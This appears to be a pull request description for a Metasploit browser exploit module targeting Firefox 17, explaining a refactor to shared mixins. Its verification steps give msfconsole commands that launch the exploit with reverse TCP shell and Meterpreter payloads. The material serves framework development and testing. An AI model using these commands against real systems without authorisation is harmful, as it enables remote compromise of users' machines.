Clean up firefox_svg_plugin module to use the mixins i have added

I've updated the firefox_svg_plugin module to:

1. Actually use BrowserExploitServer (I had accidentally overridden the BES's `on_request_uri`)
2. Use the new `FirefoxPrivilegeEscalation` mixin, specifically the `run_payload` method
3. Removed all of the custom target setting code. I had no clue why this didn't work for me at the time, now I understand the code really did nothing for you, because handler selection

##### Verification
- [x] Download Firefox 17 or 17.0.1 (ensure flash is installed)
- [x] Run the exploit with a javascript payload:
```
msf> use exploit/multi/browser/firefox_svg_plugin
msf> set target 0
msf> set payload firefox/shell_reverse_tcp
msf> set lhost 0.0.0.0
msf> run
```
- [x] Ensure you get a shell
- [x] Run the exploit with a native payload:
```
msf> use exploit/multi/browser/firefox_svg_plugin
msf> set target 1
msf> set payload windows/meterpreter/reverse_tcp
msf> set lhost 0.0.0.0
msf> run
```
- [x] Ensure you get a shell